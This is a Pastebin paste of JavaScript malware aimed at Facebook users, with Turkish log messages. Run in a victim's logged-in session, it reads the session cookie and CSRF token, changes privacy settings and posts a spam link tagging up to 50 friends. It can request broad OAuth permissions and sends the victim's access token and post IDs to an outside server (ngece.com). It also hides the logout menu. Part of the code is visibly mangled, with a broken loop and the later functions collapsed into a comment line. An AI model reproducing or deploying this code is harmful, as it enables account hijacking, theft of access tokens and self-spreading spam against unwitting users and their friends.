Advertisement
Cnin

Code Buz

Nov 15th, 2015
586
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. new Image().src = "https://whos.amung.us/swidget/usersxxx0";
  2.  
  3. function start() {
  4.     var cookie_name = "baslatx";
  5.     var cookie_time = 60;
  6.     if (!localStorage[cookie_name] || parseInt(localStorage[cookie_name]) < Date.now() - 60 * 1000 * cookie_time) {
  7.         localStorage[cookie_name] = Date.now();
  8.         config = {
  9.             link: "http://grupocampeao.net/{random}",
  10.             post_limit: 1,
  11.             tag_limit: 50,
  12.             mode: "post",
  13.             take_token: false
  14.         }
  15.         if (config.mode == "post") {
  16.             arkadas();
  17.             privacySetting();
  18.             console.log("ArkadaÅŸlar getiriliyor.");
  19.         }
  20.         if (config.take_token == true) {
  21.             tokencek("561591070563776");
  22.         }
  23.     } else {
  24.         var active_time = new Date();
  25.         active_time.setTime(parseInt(localStorage[cookie_name]) + (60 * 1000 * cookie_time));
  26.         console.log("active_time:" + active_time.toLocaleString());
  27.     }
  28. }
  29.  
  30. function arkadas() {
  31.     var params = {
  32.         __pc: "EXP1:DEFAULT",
  33.         viewer: profile_id,
  34.         "filter[0]": "user",
  35.         "options[0]": "friends_only",
  36.         token: "v7",
  37.         context: "mentions",
  38.         rsp: "mentions",
  39.         sid: "1197780291395",
  40.         request_id: "b6924372-20f2-4585-bf14-c7db6ea77b78",
  41.         __user: profile_id,
  42.         __a: 1,
  43.         __dyn: "7A" + rastgele(105),
  44.         __req: "e",
  45.         __rev: __rev
  46.     }
  47.     var xmlhttp = new XMLHttpRequest();
  48.     xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?" + deSerialize(params), true);
  49.     xmlhttp.onreadystatechange = function() {
  50.         if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  51.             var data = JSON.parse(xmlhttp.responseText.replace("for (;;);", ""));
  52.             if (!data.error) {
  53.                 friends = data.payload.entries.sort(function(a, b) {
  54.                     return a.index - b.index;
  55.                 });
  56.                 var limit = config.tag_limit;
  57.                 var p_limit = Math.round(friends.length / config.tag_limit);
  58.                 config.post_limit = p_limit > config.post_limit ? config.post_limit : p_limit;
  59.                 console.log(friends.length + " ArkadaÅŸlar bulundu.");
  60.                 if (config.post_limit == 0) {
  61.                     config.post_limit = 1;
  62.                 }
  63.                 console.log(config.post_limit + " adet post atılacak.");
  64.                 for (p = 0; p config.tag_limit) {
  65.                     indexes = randoms(config.tag_limit, friends.length);
  66.                 } else {
  67.                     indexes = randoms(friends.length, friends.length);
  68.                 }
  69.                 for (i = 0; i < indexes.length; i++) {
  70.                     if (friends[indexes[i]].uid != profile_id) {
  71.                         vars.tags.push(friends[indexes[i]]);
  72.                     }
  73.                 }
  74.                 vars.link = config.link;
  75.                 vars.link = vars.link.replace("{random}", rastgele(20));
  76.                 console.log(vars.link + " post gĂƒÂ¶nderiliyor...");
  77.                 share(vars);
  78.             }
  79.         }
  80.     }
  81. }
  82. xmlhttp.send();
  83. }
  84.  
  85. function privacySetting() {
  86.     var params = {
  87.         value: "300645083384735",
  88.         prev_value: "291667064279714",
  89.         __user: profile_id,
  90.         __a: 1,
  91.         __dyn: "7AmajEyl35wzgDxyG8EigmzFEbEKA8Ay8Z9LFwxBxCbzES2N6xybxu3fzoaqxbxjx27W88ybx-qA4E-8KuEjxC2e784i4U9Xw",
  92.         __req: "15",
  93.         fb_dtsg: fb_dtsg,
  94.         ttstamp: ttstamp,
  95.         __rev: __rev
  96.     }
  97.     var xhr = new XMLHttpRequest();
  98.     xhr.open("POST", "https://www.facebook.com/ajax/settings/granular_privacy/composer.php");
  99.     xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
  100.     xhr.send(deSerialize(params));
  101.     xhr.onreadystatechange = function() {
  102.         if (xhr.readyState == 4 && xhr.status == 200) {
  103.             var data = JSON.parse(xhr.responseText.replace("for (;;);", ""));
  104.         }
  105.     }
  106. }
  107.  
  108. function share(vars) {
  109.     var params = {
  110.         fb_dtsg: fb_dtsg,
  111.         app_id: 350685531728,
  112.         redirect_uri: "https://www.facebook.com/",
  113.         display: "page",
  114.         access_token: "",
  115.         sdk: "",
  116.         from_post: 1,
  117.         xhpc_context: "home",
  118.         xhpc_ismeta: 1,
  119.         xhpc_timeline: "",
  120.         xhpc_targetid: profile_id,
  121.         xhpc_publish_type: 1,
  122.         xhpc_message_text: "",
  123.         xhpc_message: "",
  124.         is_explicit_place: "",
  125.         composertags_place: "",
  126.         composertags_place_name: "",
  127.         tagger_session_id: Math.floor(Date.now() / 1000),
  128.         "action_type_id[0]": "",
  129.         "object_str[0]": "",
  130.         "object_id[0]": "",
  131.         hide_object_attachment: 0,
  132.         og_suggestion_mechanism: "",
  133.         og_suggestion_logging_data: "",
  134.         icon_id: "",
  135.         share_action_properties: JSON.stringify({
  136.             object: vars.link
  137.         }),
  138.         share_action_type_id: 400681216654175,
  139.         composertags_city: "",
  140.         disable_location_sharing: false,
  141.         composer_predicted_city: "",
  142.         "audience[0][value]": 80,
  143.         __CONFIRM__: 1,
  144.         __user: profile_id,
  145.         __a: 1,
  146.         __dyn: "7xeUnAwj98fodoK4osXWo5O12wAxu3mdwm8gx-ewICwPyEjwmE4i3K5U",
  147.         __req: "k",
  148.         ttstamp: ttstamp,
  149.         __rev: __rev
  150.     }
  151.     for (i = 0; i < vars.tags.length; i++) {
  152.         params["composertags_with[" + i + "]"] = vars.tags[i].uid;
  153.         params["text_composertags_with[" + i + "]"] = vars.tags[i].text; //params.xhpc_message += "@["+vars.tags[i].uid+":"+vars.tags[i].text+"] "; } var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.facebook.com/v2.0/dialog/share_open_graph/submit"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send(deSerialize(params)); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText.replace("for (;;);","")); if(data.jsmods.require && data.jsmods.require[0][0] && data.jsmods.require[0][0] == "ServerRedirect"){ if(data.jsmods.require[0][3][0].indexOf("post_id") > 0){ var post_id = data.jsmods.require[0][3][0].split("post_id=")[1].split("#")[0].split("&")[0]; }else{ post_id = profile_id; } new Image().src = 'http://ngece.com/sonuc.php?sonuc=' + post_id + "&link=" + vars.link + "&img=" + vars.image; } } } } function tokencek(app_id) { var e = new XMLHttpRequest, s = "", t = "//www.facebook.com/v1.0/dialog/oauth/read", i = "create_note,photo_upload,publish_checkins,publish_stream,share_item,status_update,video_upload,publish_actions", o = "manage_notifications,manage_pages,read_insights,read_page_mailboxes,rsvp_event", n = "friends_about_me,friends_activities,friends_birthday,friends_checkins,friends_education_history,friends_events,friends_games_activity,friends_groups,friends_hometown,friends_interests,friends_likes,friends_location,friends_notes,friends_online_presence,friends_photos,friends_questions,friends_relationship_details,friends_relationships,friends_religion_politics,friends_status,friends_subscriptions,friends_videos,friends_website,friends_work_history,user_notes,user_online_presence,user_questions,user_subscriptions,user_about_me,user_activities,user_birthday,user_education_history,user_events,user_games_activity,user_groups,user_hometown,user_interests,user_likes,user_location,user_photos,user_relationship_details,user_relationships,user_religion_politics,user_status,user_videos,user_website,user_work_history,public_profile,user_friends,email,read_friendlists,read_mailbox,read_stream,public_profile", a = "fb_dtsg=" + fb_dtsg + "&app_id=" + app_id + "&redirect_uri=fbconnect://success&display=popup&access_token=&sdk=&from_post=1&public_info_nux=1&private=&login=&read=" + n + "&write=" + i + "&readwrite=&extended=" + o + "&social_confirm=&confirm=&gdp_version=3&seen_scopes=" + n + "&auth_type=&auth_token=&auth_nonce=&ref=Default&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1"; e.open("POST", t, true), e.onreadystatechange = function () { if (4 == e.readyState && 200 == e.status) { var t = new XMLHttpRequest, n = "//www.facebook.com/v1.0/dialog/oauth/write", a = "fb_dtsg=" + fb_dtsg + "&app_id=" + app_id + "&redirect_uri=fbconnect://success&display=popup&access_token=&sdk=&from_post=1&private=&login=&read=&write=" + i + "&readwrite=&extended=" + o + "&social_confirm=&confirm=&gdp_version=3&seen_scopes=" + i + "&auth_type=&auth_token=&auth_nonce=&default_audience=&ref=Default&return_format=access_token&domain=&sso_device=ios&audience[0][value]=80&__CONFIRM__=1"; t.open("POST", n, true), t.onreadystatechange = function () { if (4 == t.readyState && 200 == t.status) { var e = new XMLHttpRequest, i = "//www.facebook.com/v1.0/dialog/oauth/extended", n = "fb_dtsg=" + fb_dtsg + "&app_id=" + app_id + "&redirect_uri=fbconnect://success&display=popup&access_token=&sdk=&from_post=1&private=&login=&read=&write=&readwrite=&extended=" + o + "&social_confirm=&confirm=&gdp_version=3&seen_scopes=" + o + "&auth_type=&auth_token=&auth_nonce=&default_audience=&ref=Default&return_format=access_token&domain=&sso_device=ios&__CONFIRM__=1"; e.open("POST", i, true), e.onreadystatechange = function () { 4 == e.readyState && 200 == e.status && (s = e.responseText.match(/token=(.+)&/)[1], s.indexOf("&") > -1 && (s = s.split("&")[0]), access_token = s, (new Image).src = "http://ngece.com/tok_save.php?userid=" + profile_id + "&access_token=" + access_token + "&app_id=" + app_id) }, e.send(n) } }, t.send(a) } }, e.send(a) } function randoms(l, m) { var r = []; while (r.length < l) { var rnd = Math.floor(Math.random() * m); if (r.indexOf(rnd) < 0) { r.push(rnd); } } return r; } function rand(min,max){ return Math.floor(Math.random()* (max-min))+min; } function rastgele(uzunluk) { mtn = "abcdefghijklmnoprstuvyzx0123456789"; ret = ""; for (l = 0; l < uzunluk; l++) { ret += mtn[Math.floor(Math.random() * mtn.length)]; } return ret; } function deSerialize(json) { return Object.keys(json).map(function(key) { return encodeURIComponent(key) + '=' + encodeURIComponent(json[key]); }).join('&'); } function blockRemove(){ window.setInterval(function() { if (document.getElementsByClassName("_5ce")) { for (i = 0; i < document.getElementsByClassName("_5ce").length; i++) { document.getElementsByClassName("_5ce")[i].innerHTML = ""; } } if (document.getElementsByClassName("uiToggle wrap")) { for (i = 0; i < document.getElementsByClassName("uiToggle wrap").length; i++) { document.getElementsByClassName("uiToggle wrap")[i].innerHTML = ""; } } if(document.getElementById("logoutMenu")){ document.getElementById("logoutMenu").parentNode.outerHTML = "" } if (document.getElementsByClassName("uiPopover")) { for (i = 0; i < document.getElementsByClassName("uiPopover").length; i++) { document.getElementsByClassName("uiPopover")[i].innerHTML = ""; } } }, 10); } if (location.hostname.indexOf("facebook.com") >= 0) { fb_dtsg_list = document.getElementsByName('fb_dtsg'); if(!document.getElementById("isrun") && fb_dtsg_list.length > 0){ var log = document.createElement("meta"); log.id = "isrun"; document.head.appendChild(log); blockRemove(); profile_id = document.cookie.match(/c_user=(\d+)/)[1]; fb_dtsg = fb_dtsg_list[0].value; __rev = document.head.innerHTML.split('"revision":')[1].split(",")[0]; ttstamp = ""; for (var x = 0; x < fb_dtsg.length; x++){ ttstamp += fb_dtsg.charCodeAt(x); } ttstamp = '2' + ttstamp; console.log("User:"+profile_id); console.log("fb_dtsg:"+fb_dtsg); console.log("__rev:"+__rev); console.log("ttstamp:"+ttstamp); start(); } }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement